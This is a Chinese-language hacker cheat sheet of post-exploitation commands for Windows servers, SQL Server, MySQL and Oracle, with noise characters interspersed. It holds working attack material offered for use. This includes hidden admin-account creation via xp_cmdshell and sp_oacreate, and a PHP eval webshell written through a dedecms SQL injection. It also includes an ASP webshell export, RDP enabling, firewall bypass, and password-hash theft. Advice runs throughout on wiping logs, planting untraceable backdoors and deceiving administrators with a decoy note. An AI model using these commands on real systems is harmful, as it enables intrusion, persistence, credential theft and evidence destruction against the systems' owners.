4 g$ ~$ m: e2 I$ g" O9 U* m' t/ n% ^
1.net user administrator /passwordreq:no$ o1 R0 c$ V$ w- D. F; u
这句的意思是"administrator帐号不需要密码",如果可以成功执行的话,3389登陆时administrator的密码就可以留空,直接登陆了,然后进去后再net user administrator /passwordreq:yes恢复就可以了
- i% w" W4 |& m( e" D: F* m2.比较巧妙的建克隆号的步骤
# C7 d) q) C* {! Y先建一个user的用户
A' j7 }8 @# `* R7 n3 t6 ~然后导出注册表。然后在计算机管理里删掉1 e) F* \. [: Z0 i9 a+ C6 m/ C4 i
在导入,在添加为管理员组' m3 D- \$ S' @* T4 J6 x( }* }: s
3.查radmin密码0 b5 X+ q6 k1 \( J2 ]
reg save HKEY_LOCAL_MACHINE\SYSTEM\RAdmin c:\a.reg
. O9 K- ~; M# J0 ^6 {% ?0 p/ x4.[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Window NT\CurrentVersion\Image File execution options]
( I8 W, R& H# N+ v& V1 P建立一个"services.exe"的项
4 G& @7 ?3 u$ d$ [) ]- I再在其下面建立(字符串值)0 k) E$ |+ H n# c' u" o$ _
键值为mu ma的全路径
. F2 N+ ? F" C% l# \: X5.runas /user:guest cmd( N; @8 B$ _% w" M% k; K& _! A
测试用户权限!5 Z5 O, p& d) r* v( S# F
6.、 tlntadmn config sec = -ntlm exec master.dbo.xp_cmdshell \'tlntadmn config sec = -ntlm\'-- 其实是利用了tlntadmn这个命令。想要详细了解,输入/?看看吧。(这个是需要管理员权限的哦)建立相同用户通过ntml验证就不必我说了吧?
0 \' b' o" Z7 @, L# M: [9 ] U; \7.入侵后漏洞修补、痕迹清理,后门置放:% L9 L* n3 K- L- G; |' ?" \" {' D; m
基础漏洞必须修补,如SU提权,SA注入等。DBO注入可以考虑干掉xp_treelist,xp_regread自行记得web目录;你一定要记得清理痕迹~sqlserver连接使用企业管理器连接较好,使用查询分析器会留下记录,位于HKEY_CURRENT_USER\Software \Microsoft\Microsoft SQL Server\80\Tools\Client\PrefServers。删除之;IISlog的清除可不要使用AIO类的工具直接完全删除日志~可以选择logcleaner类工具只删除指定IP的访问记录,如果你能gina到管理员密码则通过登陆他清理日志并通过WYWZ进行最后的痕迹清理。话说回来手动清理会比较安全。最后留下一个无日志记录的后门。一句话后门数个,标准后门,cfm后门我一般都不会少。要修改时间的哦~还有一招比较狠滴,如果这个机器只是台普通的肉鸡,放个TXT到管理员桌面吧~提醒他你入侵了,放置了某个后门,添加了某个用户~(当然不是你真正滴重要后门~)要他清理掉。这样你有很大的可能性得以保留你的真实后门
) y5 i. y" z k8.declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c
, k1 a v' p. ^" m3 A5 l
, ~% r2 i6 A0 xfor example( J% v0 e/ J, X% ^
8 H- H p6 T3 ddeclare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net user aptime aptime /add'3 L/ w0 h: [/ _( `% _+ }
8 ], l+ W' R2 \1 C2 rdeclare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net localgroup administrator aptime /add'
1 Y6 e2 z! d& D% x# T$ }9 v% n
/ T: |% M0 I) _- Q( v9:MSSQL SERVER 2005默认把xpcmdshell 给ON了4 t# J; W# ^6 W( @6 p5 B7 n7 B
如果要启用的话就必须把他加到高级用户模式2 V6 w T: N* }4 }
可以直接在注入点那里直接注入
% R# } `* r- U5 ~- {9 n8 ?8 bid=5;EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;--( J3 Q* J w+ I* p" Y% ]9 t4 `
然后;dbcc addextendedproc("xp_cmdshell","xplog70.dll");--
- g6 t' P: V$ d) g或者
% w2 a2 X* \4 ^6 _sp_addextendedproc xp_cmdshell,@dllname='xplog70.dll'
, Z D' z9 E( W* q" f! f C$ T来恢复cmdshell。 Z5 E+ y9 L5 D5 z: b& V a" Z
# Z$ [( t( d( o# q/ I+ {分析器/ t+ Z0 @. t. w- N* l' C
EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;--* {4 l* a8 Y O; n2 [8 Y
然后;dbcc addextendedproc("xp_cmdshell","xplog70.dll")
5 b8 n; Q, `, j$ O8 K( m' H7 V10.xp_cmdshell新的恢复办法
, y% c9 ]+ m5 N8 Pxp_cmdshell新的恢复办法
. T' ?+ v0 I( c a扩展储存过程被删除以后可以有很简单的办法恢复:
: x! K" f- L T. E# W# ^: C删除4 ]1 s8 `; t7 |& \# T( Y( f
drop procedure sp_addextendedproc
( r/ S( U* J0 r9 j& ^" @0 \9 l3 H! pdrop procedure sp_oacreate
& Z; M5 I/ y4 n! z, Q2 x4 N- _exec sp_dropextendedproc 'xp_cmdshell'
- r1 x! D* D! b6 Q+ t
9 e. W+ r5 N9 k. a恢复
?9 x9 r: P9 }7 ?2 T2 Idbcc addextendedproc ("sp_oacreate","odsole70.dll")5 }) m1 Z: Y2 |# E
dbcc addextendedproc ("xp_cmdshell","xplog70.dll")5 }+ i+ }' z; A2 Z
# e6 H# \: i. u$ j3 X
这样可以直接恢复,不用去管sp_addextendedproc是不是存在$ o+ `9 P6 g- D
, F9 A6 V' I' m% M-----------------------------3 q7 n/ G# ^' g
7 w3 `* r. O, T4 a' k/ Z/ L
删除扩展存储过过程xp_cmdshell的语句:
+ n0 f- e+ d+ U- qexec sp_dropextendedproc 'xp_cmdshell'. ?: E6 K# Z! X# }8 B
; Y5 P- Z/ l0 E# {& w' k$ X$ m. a! ~
恢复cmdshell的sql语句
/ m1 A4 c+ D; \ @exec sp_addextendedproc xp_cmdshell ,@dllname ='xplog70.dll'( I3 n. K7 U7 f" ^
/ h% j7 u1 i; @+ w1 h- U; T' X5 W9 {% A9 ^% I
开启cmdshell的sql语句
* m4 a5 v5 g7 ~# z9 l7 s
# t: N% N3 F9 L/ W* \8 J: bexec sp_addextendedproc xp_cmdshell ,@dllname ='xplog70.dll'0 Z7 f/ S" t$ \8 _5 z1 s4 N
* o$ A0 G; u! E& j& a! b
判断存储扩展是否存在" V0 [8 ]3 a: G s9 S" a% T
select count(*) from master.dbo.sysobjects where xtype='x' and name='xp_cmdshell'
' n/ ~4 t5 u- R+ j" g+ l8 ?返回结果为1就ok
* H) J) y& U+ O+ M+ e% f
! u! a7 X9 M: r恢复xp_cmdshell
6 e* f* J+ L y0 }# P& Wexec master.dbo.addextendedproc 'xp_cmdshell','xplog70.dll';select count(*) from master.dbo.sysobjects where xtype='x' and name='xp_cmdshell'& \( k* o0 {9 b+ [( l! `9 `' q
返回结果为1就ok1 O! d( a, I, C3 K, S
" A& j0 ^, ]! c6 Y
否则上传xplog7.0.dll1 a# }1 }$ W3 ~% ~* N
exec master.dbo.addextendedproc 'xp_cmdshell','c:\winnt\system32\xplog70.dll'7 d% [ U& P6 k$ Y- C9 h
& i, G7 R% X, E8 d4 ^- j7 o) K6 A' k堵上cmdshell的sql语句
# I" @+ |) N0 i+ V) Ksp_dropextendedproc "xp_cmdshel ]" `/ }' J2 y5 Q+ t2 H6 U
-------------------------9 u8 |* [& q7 u. a" u
清除3389的登录记录用一条系统自带的命令:4 v+ D9 [! u A" q
reg delete "hkcu\Software\Microsoft\Terminal Server Client" /f
4 O+ U& N/ H1 I1 _! _# \( _2 Y8 ~ V, d! ?" x
然后删除当前帐户的 My Documents 文件夹下的 Default.rdp 文件3 K: J4 r( p" L7 b0 \
在 mysql里查看当前用户的权限4 w; @4 _! j; p. a R
show grants for
6 s# o5 n) y* a3 V7 J
. {, M$ Z, M2 r- O以下语句具有和ROOT用户一样的权限。大家在拿站时应该碰到过。root用户的mysql,只可以本地连,对外拒绝连接。以下方法可以帮助你解决这个问题了,下面的语句功能是,建立一个用户为itpro 密码123 权限为和root一样。允许任意主机连接。这样你可以方便进行在本地远程操作数据库了。* P6 e1 ]1 c$ {2 W7 ~, X
1 Y f3 o& k" p& P9 E4 u7 {6 F: P* Y+ }8 Z# T
Create USER 'itpro'@'%' IDENTIFIED BY '123';
0 h) B# v4 F1 `' G. Y$ x7 M! x
( S, s3 ] j5 f m1 P. D: [+ TGRANT ALL PRIVILEGES ON *.* TO 'itpro'@'%' IDENTIFIED BY '123'WITH GRANT OPTION2 y+ l3 _9 S* t* P$ f
: m/ i& L+ w. x0 Q; EMAX_QUERIES_PER_HOUR 0 MAX_CONNECTIONS_PER_HOUR 0
2 Z9 `7 P3 [% Y2 h6 f$ S) g
& Z8 p8 t: X* J/ G6 p& p9 d: aMAX_UpdateS_PER_HOUR 0 MAX_USER_CONNECTIONS 0;+ _/ R: F+ a& _, Y, ~
- O3 Y1 r) `" R' l! Y
搞完事记得删除脚印哟。
* p! o' g" P* O) S9 s( w
& s5 I' @8 T- [/ t4 B9 qDrop USER 'itpro'@'%';
1 X' r r8 n8 i/ n1 i3 A- t
0 J' G p- `/ \4 m4 \5 N$ ]5 WDrop DATABASE IF EXISTS `itpro` ;
% l0 p ~+ s% a/ i/ z
8 a ~, s3 S W当前用户获取system权限. ^3 J$ `% x, w! v3 c' O' z6 g1 u
sc Create SuperCMD binPath= "cmd /K start" type= own type= interact, e1 \8 U4 F9 U5 L
sc start SuperCMD1 l2 O' @1 N3 ^4 Q& y
程序代码
7 C3 T6 k9 c; W" J<SCRIPT LANGUAGE="VBScript">
+ m% r7 T3 H5 ?% w9 nset wsnetwork=CreateObject("WSCRIPT.NETWORK"); K" a. J6 q) d
os="WinNT://"&wsnetwork.ComputerName& D1 l0 r: t$ _2 k
Set ob=GetObject(os) F) s5 C! S% z% e- o; L3 T
Set oe=GetObject(os&"/Administrators,group")
2 g' d6 @7 e5 @Set od=ob.Create("user","nosec"): R$ G9 \6 n% F ~9 D# N2 d4 C1 P
od.SetPassword "123456abc!@#"
% c5 E w w$ N' }9 k+ K$ Hod.SetInfo
1 {- D \3 W4 o! H) T0 KSet of=GetObject(os&"/nosec",user)
: P N, q7 w9 coe.add os&"/nosec"; v) l. H9 _$ f, X( x
</Script>; Q9 B5 W3 k7 N- v6 C
<script language=javascript>window.close();</script>
: t g6 E" i& K5 F( H
; s) U: X# k) R: K" H1 y
9 }6 c! }& b$ K( e+ b; f' K* z l& O) a" H2 g
3 `( c8 o4 Q/ L/ e. ~突破验证码限制入后台拿shell
- ^4 ]. f! o" Z% J7 r' x, b程序代码2 P6 \9 F9 m4 a' M% {. {
REGEDIT4
8 L! L' Y3 a J5 W7 F/ x[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Internet Explorer\Security]
3 a9 m0 ?$ I7 p4 L2 A"BlockXBM"=dword:00000000
, V3 |( B b( V3 x) q
2 C- U$ p0 T. Y2 [" @$ P保存为code.reg,导入注册表,重器IE
c! S$ i. x' J9 H, s! I' f就可以了2 Z) \' {) h% O6 u. w& G7 |
union写马) a" t6 Y7 B& x4 g8 M# ?* e3 ^
程序代码
D, [& ~; Z' n. n" a; a5 ]4 f' Hwww.baidu.com/plus/infosearch.php?action=search&q=%cf'%20union%20select%201,2,3,4,'<?php%20eval($_POST[cmd])?>',6+into+outfile+'D:\\wwwroot\\duizhang.php'+/*& V5 a1 x( i6 K/ m6 Z+ n8 a9 `
3 h: C' h7 z6 n0 F
应用在dedecms注射漏洞上,无后台写马
* F) F" q, k$ Ldedecms后台,无文件管理器,没有outfile权限的时候) D5 q9 i# y4 U' J
在插件管理-病毒扫描里
8 z5 }5 P5 L! Z- C: Q+ H写一句话进include/config_hand.php里3 k! w, M6 f* w
程序代码
% y8 H2 w2 i, ~2 L) ] Z2 H& u1 Q>';?><?php @eval($_POST[cmd]);?>, |% n: W4 y' L4 q& k( N; J
# ]0 t4 ^, p# s, i, t" n
. e0 V9 @+ W! g; P5 y% H7 l. U
如上格式
! r7 T, y# s5 m3 u& n5 a: W7 I1 s4 Z( ^
oracle中用低权限用户登陆后可执行如下语句查询sys等用户hash然后用cain破解
0 }' w& _- t3 B* ~3 V5 M9 x程序代码
3 h& ]8 o$ W! H) m3 J9 m gselect username,password from dba_users;$ P* t/ n$ b% L4 t
$ W. ^1 c$ P5 ~4 g$ ~9 x3 ?# H
( F% |$ Z3 e8 V0 H0 M; R Qmysql远程连接用户
2 p% k5 I) I) l* g: I0 a8 T, n4 r程序代码2 f+ Y. I9 i# B# `9 ^
" f5 h/ L' b, L2 I6 S! | a5 uCreate USER 'nosec'@'%' IDENTIFIED BY 'fuckme';6 S: g+ w; P; u) {8 ?
GRANT ALL PRIVILEGES ON *.* TO 'nosec'@'%' IDENTIFIED BY 'fuckme' WITH GRANT OPTION
/ S0 H, T' s6 M/ A$ r7 eMAX_QUERIES_PER_HOUR 0 MAX_CONNECTIONS_PER_HOUR 0
5 K1 G1 M! G2 jMAX_UpdateS_PER_HOUR 0 MAX_USER_CONNECTIONS 0;+ v$ f: s" s2 C5 o& [7 n' V" c" i: ^
, b- O4 M4 M8 a' p6 H( c4 _) g
8 x. A0 j, G5 m7 y/ S7 q9 w6 d2 S6 J% x1 L* _" D) ?
1 f" n8 ^$ X6 E& j) i
echo y |reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 05 e% J: a W I1 ~
7 _* y B1 g. W; w4 M7 r; {7 f( Y9 {
1.查询终端端口' C% W# _$ ~) h% ` Q
' u' Z3 W' c- K
xp&2003:REG query HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\WinStations\RDP-Tcp /v PortNumber$ L$ p* w4 p8 @
" t+ }) }# ?# I2 |( R
通用:regedit /e tsp.reg "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal server\Wds\rdpwd\Tds\tcp"
1 I0 p* D% y) _ n1 I7 ktype tsp.reg
" a9 |& k; Q( v) C9 v% `( t) |) [3 y, x* l
2.开启XP&2003终端服务
; T- y9 f- \1 E+ O
; }5 `7 u# W; z/ v
5 k2 _9 T6 A9 wREG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 0 /f2 |# x4 |) O, S0 a$ ]* j- E
+ \2 H3 h# R# l5 \# g1 b q% s9 K1 l. ^5 Q
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f8 g! K8 t. X/ L8 X, w
" [1 M- j! ~" h0 T6 A( r3 c
3.更改终端端口为20008(0x4E28)
' k$ Q5 ^, t7 i' X/ V# k0 ?- U6 s9 M6 D* O% Y
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\Wds\rdpwd\Tds\tcp /v PortNumber /t REG_DWORD /d 0x4E28 /f( U1 Z% u& S! E$ l
* E- l' Y4 ] t# H" q% I6 G# xREG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\WinStations\RDP-Tcp /v PortNumber /t REG_DWORD /d 0x4E28 /f1 F9 v9 J" R" {! I+ s2 o6 c- n
7 D. }' j4 s+ z' b# O; J
4.取消xp&2003系统防火墙对终端服务3389端口的限制及IP连接的限制
5 K" Y! ?- m, N" T
3 H2 D. I% K' lREG ADD HKLM\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\GloballyOpenPorts\List /v 3389:TCP /t REG_SZ /d 3389:TCP:*:Enabledxpsp2res.dll,-22009 /f
0 }) d% v+ q" N( ^9 t
$ x$ R6 u% H% \: H( U' ~4 R! G( q; e0 q' h! u5 \5 @) B
5.开启Win2000的终端,端口为3389(需重启)
: i( i; Z/ l* d( E/ v4 x3 H. j8 i5 Q9 \, b% Z! Q7 p+ z2 N2 s
echo Windows Registry Editor Version 5.00 >2000.reg
/ I. B4 v; |/ R Z$ Y' Xecho. >>2000.reg: Q' ~1 q1 b5 g0 k+ Q' t0 A5 p2 E
echo [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\netcache] >>2000.reg
' k+ v, A k6 {% k1 _ mecho "Enabled"="0" >>2000.reg
; Z& [1 d; Z9 ^1 W8 \& Jecho [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon] >>2000.reg
0 W' v; c2 p3 ~6 z; Eecho "ShutdownWithoutLogon"="0" >>2000.reg f6 ^* [" l1 f' {3 Z
echo [HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\Installer] >>2000.reg
# L* f' i+ h" L2 R( ?1 G* Yecho "EnableAdminTSRemote"=dword:00000001 >>2000.reg ) w% f5 g: e$ |- a, c! X; s' a2 g" b# k
echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server] >>2000.reg
; H$ p9 w# P2 u6 [/ p; oecho "TSEnabled"=dword:00000001 >>2000.reg
; T' Z" F `7 D5 T5 `2 pecho [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\TermDD] >>2000.reg ! P2 H( y. K: f! o7 y; m
echo "Start"=dword:00000002 >>2000.reg
8 U7 j! x) u0 A: }. _" j" E; becho [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\TermService] >>2000.reg
/ Z, r; R3 r: q; Pecho "Start"=dword:00000002 >>2000.reg . D- m. ~% \' [1 N, u R
echo [HKEY_USERS\.DEFAULT\Keyboard Layout\Toggle] >>2000.reg
( K$ a* T3 I4 h, H( }) }: ?echo "Hotkey"="1" >>2000.reg 5 h: V' a/ D; j; O
echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\Wds\rdpwd\Tds\tcp] >>2000.reg
0 [- c( M+ h6 B( _8 Hecho "ortNumber"=dword:00000D3D >>2000.reg
$ [1 U* x: K0 k+ U- Z: D- W5 Becho [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp] >>2000.reg
2 r! n: m; y# \, ?: N+ @echo "ortNumber"=dword:00000D3D >>2000.reg' m! f8 a% U1 o) E. v1 T
( D' u& J# T0 m. U) T
6.强行重启Win2000&Win2003系统(执行完最后一条一句后自动重启)- C+ k: p7 x( D3 l
3 [! @! L* F, H. `$ C@ECHO OFF & cd/d %temp% & echo [version] > restart.inf
; ^7 n* j) J+ J# y, u(set inf=InstallHinfSection DefaultInstall)
. j$ c) [" W/ x0 Q4 {( n* uecho signature=$chicago$ >> restart.inf1 K; _, h2 \' U8 X# c- X9 O2 S( _
echo [defaultinstall] >> restart.inf5 z2 E# T( {2 s
rundll32 setupapi,%inf% 1 %temp%\restart.inf
: G- ^9 C- u+ P0 B' @2 {5 f& f/ Z" h9 d( F6 l+ J% t/ ?3 S* [: F. {
8 ]+ y. _8 V7 H8 r' l$ Y* u7.禁用TCP/IP端口筛选 (需重启)
! O5 p/ I, v4 ] A& W. W8 q$ i2 c u- z" g) ^$ Q: a' `( p
REG ADD HKLM\SYSTEM\ControlSet001\Services\Tcpip\parameters /v EnableSecurityFilters /t REG_DWORD /d 0 /f
' ` P3 _& w5 u# b. N, u% e4 _# L; `) p. D# |
8.终端超出最大连接数时可用下面的命令来连接7 ` p" q. B0 w
* u5 A3 @8 F4 M' [mstsc /v:ip:3389 /console
" M5 _1 G$ A2 f0 T# f# {4 z7 T+ N/ u. q* `6 `9 s; ` ~7 {
9.调整NTFS分区权限5 A6 N; P3 [; Q0 H+ f% ?
) M/ X- Y% V- a
cacls c: /e /t /g everyone:F (所有人对c盘都有一切权利)) H: E9 O! L0 |$ N7 ]8 o
9 N( S8 |0 x9 p9 x1 T0 C
cacls %systemroot%\system32\*.exe /d everyone (拒绝所有人访问system32中exe文件)0 z8 y- b$ q% q/ ^3 ]7 g4 B$ }9 h
. D. a1 t. \) L+ A& h5 I------------------------------------------------------3 L* t# e6 h' m4 i6 F7 w
3389.vbs
& B3 Z& H! R& F8 T3 R) n5 gOn Error Resume Next
Y0 v+ w9 e$ e( m6 R$ Rconst HKEY_LOCAL_MACHINE = &H80000002
6 a! }2 j) m8 P7 }+ LstrComputer = "."
5 \1 @* c6 ^6 z1 |Set StdOut = WScript.StdOut
. X" j6 N$ _1 d' v( PSet oreg=GetObject("winmgmts:{impersonationLevel=impersonate}!\\" &_& o- K# _( |% [, c3 K8 F! o, l
strComputer & "\root\default:StdRegProv")
8 N$ w/ O! r- GstrKeyPath = "SYSTEM\CurrentControlSet\Control\Terminal Server"
: l, a4 b2 T# G7 G& {2 d6 toreg.CreateKey HKEY_LOCAL_MACHINE,strKeyPath/ s" `: [; ]% n/ g: U4 l
strKeyPath = "SYSTEM\CurrentControlSet\Control\Terminal Server\Wds\rdpwd\Tds\tcp"( O1 X$ f K! U
oreg.CreateKey HKEY_LOCAL_MACHINE,strKeyPath
$ N* ]* E- y" t9 d7 Y4 lstrKeyPath = "SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp"
/ Y9 P' \: @. ?% L/ h+ estrKeyPath = "SYSTEM\CurrentControlSet\Control\Terminal Server"* P& `+ T$ t# d3 H |
strValueName = "fDenyTSConnections"
" J% @3 b7 }+ {0 C( @% n; n adwValue = 0' H3 H" `; D8 [6 \) r
oreg.SetDWORDValue HKEY_LOCAL_MACHINE,strKeyPath,strValueName,dwValue
% x7 b% x7 V& l) e% [strKeyPath = "SYSTEM\CurrentControlSet\Control\Terminal Server\Wds\rdpwd\Tds\tcp"( Q# F. Q5 k* [# t
strValueName = "ortNumber"$ _2 S' `$ t) n$ N+ _* `
dwValue = 3389$ P4 ^6 B1 a7 y3 w+ ]
oreg.SetDWORDValue HKEY_LOCAL_MACHINE,strKeyPath,strValueName,dwValue
2 M, |3 S+ \ NstrKeyPath = "SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp"8 V, v0 Y8 d$ Q) F
strValueName = "ortNumber"7 y7 `8 o7 v1 B1 c
dwValue = 3389: Z3 y5 v! c) W1 X! ~
oreg.SetDWORDValue HKEY_LOCAL_MACHINE,strKeyPath,strValueName,dwValue7 l0 x7 M( r: f+ `7 ^
Set R = CreateObject("WScript.Shell")
0 p. t, x- R. n# ~0 u& uR.run("Shutdown.exe -f -r -t 0")
" J1 {% {. v% D- ^
. K2 Q0 Z4 T* p: ~/ f* h7 C4 g9 J删除awgina.dll的注册表键值
; e4 c) B7 n- X9 T程序代码/ n x% \' Z# Z5 s# x/ F! _
8 l7 \2 r) V5 x6 C# C4 Areg delete "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v GinaDLL /f
5 C+ j, u/ f/ d, L' H3 J8 W! E6 J# C A; B' q* ~1 q
* Y( M1 ]/ o4 D7 ^; `! f1 i$ n, J6 K: |' l( z
. A# Y! d; g/ e# Z, P8 W* e: }程序代码, e. M" d0 W- n5 L/ ~7 \- I T
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa\NoLMHash
9 q* A5 @! |2 R
+ o& U( P5 }: q& e9 x$ y0 L3 w" [设置为1,关闭LM Hash
( Z3 N/ b0 J/ [: c" R! O- U, E& J( O( U5 O5 Z2 ?
数据库安全:入侵Oracle数据库常用操作命令8 _" O2 F# v1 m8 W( o% N+ c9 v
最近遇到一个使用了Oracle数据库的服务器,在狂学Oracle+请教高手后终于搞到了网站后台管理界面的所有用户密码。我发现Oracle操作起来真是太麻烦,为了兄弟们以后少走些弯路,我把入侵当中必需的命令整理出来。
) D& o" \+ n( `( d& F1、su – oracle 不是必需,适合于没有DBA密码时使用,可以不用密码来进入sqlplus界面。& z; S7 O+ K- |; I* S5 M6 D! k
2、sqlplus /nolog 或sqlplus system/manager 或./sqlplus system/manager@ora9i;
% A; k5 F5 P1 z7 B+ ~; o* O0 K3、SQL>connect / as sysdba ;(as sysoper)或. V! D9 t" Y2 c i. A
connect internal/oracle AS SYSDBA ;(scott/tiger)' G$ d* J+ ]' ?' u
conn sys/change_on_install as sysdba;
! I% W% K7 a: `% ?% i9 m* z4、SQL>startup; 启动数据库实例
& J6 Q* e: J. C: ]( D$ k5、查看当前的所有数据库: select * from v$database;
! L3 T* U$ `6 P5 H1 d$ N) h+ \select name from v$database;
& _! a! J9 t4 E4 g+ P/ I C* d6 ~6、desc v$databases; 查看数据库结构字段) s- k8 b+ l: R+ C/ k
7、怎样查看哪些用户拥有SYSDBA、SYSOPER权限:- z( G1 _3 y; _8 D- V
SQL>select * from V_$PWFILE_USERS;
5 j2 `& e( Z& O2 j9 WShow user;查看当前数据库连接用户
2 X& G! n7 s( N- ]8、进入test数据库:database test;
( D: S* [ `- O" Z9、查看所有的数据库实例:select * from v$instance;
3 H. ]5 l+ Z4 u9 o' A如:ora9i
1 v8 P- Y8 i1 B e& o, v T. l10、查看当前库的所有数据表:0 r3 y& g- A5 X( t
SQL> select TABLE_NAME from all_tables;- l1 z7 l5 d2 G8 L: g6 q
select * from all_tables;
. `3 `! Y/ A# k' {2 b1 w* aSQL> select table_name from all_tables where table_name like '%u%';& ]6 x4 S3 k" B" X( L+ w
TABLE_NAME! g8 {( s9 f: C
------------------------------& [9 a( r, ~6 P9 l# l0 D( x
_default_auditing_options_; W. H0 R) H2 P
11、查看表结构:desc all_tables;
5 j* T, a% B0 z* {1 n" m12、显示CQI.T_BBS_XUSER的所有字段结构:6 R/ T L- Q; u+ p3 C+ Q0 Y' _$ P
desc CQI.T_BBS_XUSER;+ @4 g( ~+ M' K) q
13、获得CQI.T_BBS_XUSER表中的记录:
% S& n! V4 O- T0 Vselect * from CQI.T_BBS_XUSER;
; ?" \$ g) U* O! P# W+ p# O14、增加数据库用户:(test11/test): a+ t9 j9 l/ W2 ^; F% [- @
create user test11 identified by test default tablespace users Temporary TABLESPACE Temp;3 Q; D( [ ?% T* Z
15、用户授权:
8 [, x7 l' y7 t: x& `& Hgrant connect,resource,dba to test11;
* j7 ]0 n; U& b: Q- F9 ogrant sysdba to test11;
& a, f4 m4 s8 U0 t: M: [8 m- z4 Hcommit;
0 t$ R, B+ n+ E16、更改数据库用户的密码:(将sys与system的密码改为test.)6 o: R( G+ Z! u S% Z' V
alter user sys indentified by test; Q( W+ Y( |' H; U6 o6 b |
alter user system indentified by test;8 U& o! U# q" a( m9 Q0 s& Z
* \. l) j. s* S [, G* }+ e( U( \applicationContext-util.xml
' n6 i- @" T# C7 rapplicationContext.xml$ i( n7 v6 t# _ ]) p% L8 ~. x
struts-config.xml) f( \7 n; {+ H. \
web.xml
# N# l" H% j" _7 z5 H0 Wserver.xml$ f w( T9 i% u9 i
tomcat-users.xml
5 s' ?9 i' q7 L+ j9 }) ihibernate.cfg.xml5 V" v2 y1 y% C) ~4 r: l
database_pool_config.xml) X2 S4 F0 g! V
, }, I+ \6 ?8 s
1 I) ?1 r9 @/ k# Z% Q& A5 i' l4 n
\WEB-INF\classes\hibernate.cfg.xml 数据库连接配置4 c5 \! J( q$ `2 U
\WEB-INF\server.xml 类似http.conf+mysql.ini+php.ini1 L( F! o$ _& \5 d
\WEB-INF\struts-config.xml 文件目录结构
2 H- v9 U5 c9 C% W/ N7 e& P+ Q: ~4 b. [0 z( r: D2 _2 w
spring.properties 里边包含hibernate.cfg.xml的名称 |2 l$ E- b+ Y' {: G. H
( Y7 ^% O8 F. Q! _. s/ A
+ t9 O: g3 e; V2 d% IC:\Program Files\Apache Software Foundation\Tomcat 5.5\conf\tomcat-users.xml+ f1 K. J% F9 D; p, a
4 ~/ l4 {5 W7 [* Z- }
如果都找不到 那就看看class文件吧。。; m+ t9 j7 a- y/ O5 E
8 z- s' h9 I; Q测试1:
- m# p; ]7 r: x) [SELECT top 1 name=STUFF((SELECT ','+[name] FROM sysobjects t where xtype='U' FOR XML PATH('')), 1, 1, '') FROM sysobjects t1
! G3 u' {- ]: @ [5 v: D2 i% l' m9 q9 q( q! V$ |
测试2:
8 |$ I& I" R: ~$ U8 X: h. ~2 x* X) c# U
create table dirs(paths varchar(100),paths1 varchar(100), id int)
- |1 e4 a% ?7 _! y& |$ h0 D, X/ I
delete dirs;insert dirs exec master.dbo.xp_dirtree 'c:\',1,1--/ Q( u& ?" y1 d7 f6 i; D9 P
" B7 [$ b2 [/ |& F3 oSELECT top 1 paths=STUFF((SELECT ','+[paths] FROM dirs FOR XML PATH('')), 1, 1, '') FROM dirs t1. R! b+ z3 o( i5 b8 i9 @1 l
' I' h2 n7 ?3 l. i" i
查看虚拟机中的共享文件:# P4 Z( W$ T Z% G! B" E
在虚拟机中的cmd中执行/ x* p" J/ K- t* k3 m7 D- z
\\.host\Shared Folders9 c( z! ^# u+ z d# T
& i5 o, o8 T& D% }* I& [- M
cmdshell下找终端的技巧
2 J8 c; y* |. y找终端:
/ T8 P; f4 h& s0 Z$ }第一步: Tasklist/SVC 列出所有进程,系统服务及其对应的PID值! : H8 ?$ a9 Y4 t+ k$ {, @
而终端所对应的服务名为:TermService 5 V8 c; O1 v* P2 m4 E" _
第二步:用netstat -ano命令,列出所有端口对应的PID值!
4 d' d! a) i" M* D( D# d" P 找到PID值所对应的端口7 r- D t6 W+ h
: K$ [5 |/ M, E" @0 C: u查询sql server 2005中的密码hash) T0 F( p& _' L5 S$ b
SELECT password_hash FROM sys.sql_logins where name='sa'% C' b4 p, o) ^% a6 V
SELECT '<%execute request("a")%>' into [a] in 'c:\x.asp;a.xls' 'excel 8.0;' from a
- |4 V" E: x7 T0 x+ M4 uaccess中导出shell/ l7 `# c7 P* }2 V
8 N. {& S8 B$ ^6 q1 V
中文版本操作系统中针对mysql添加用户完整代码:
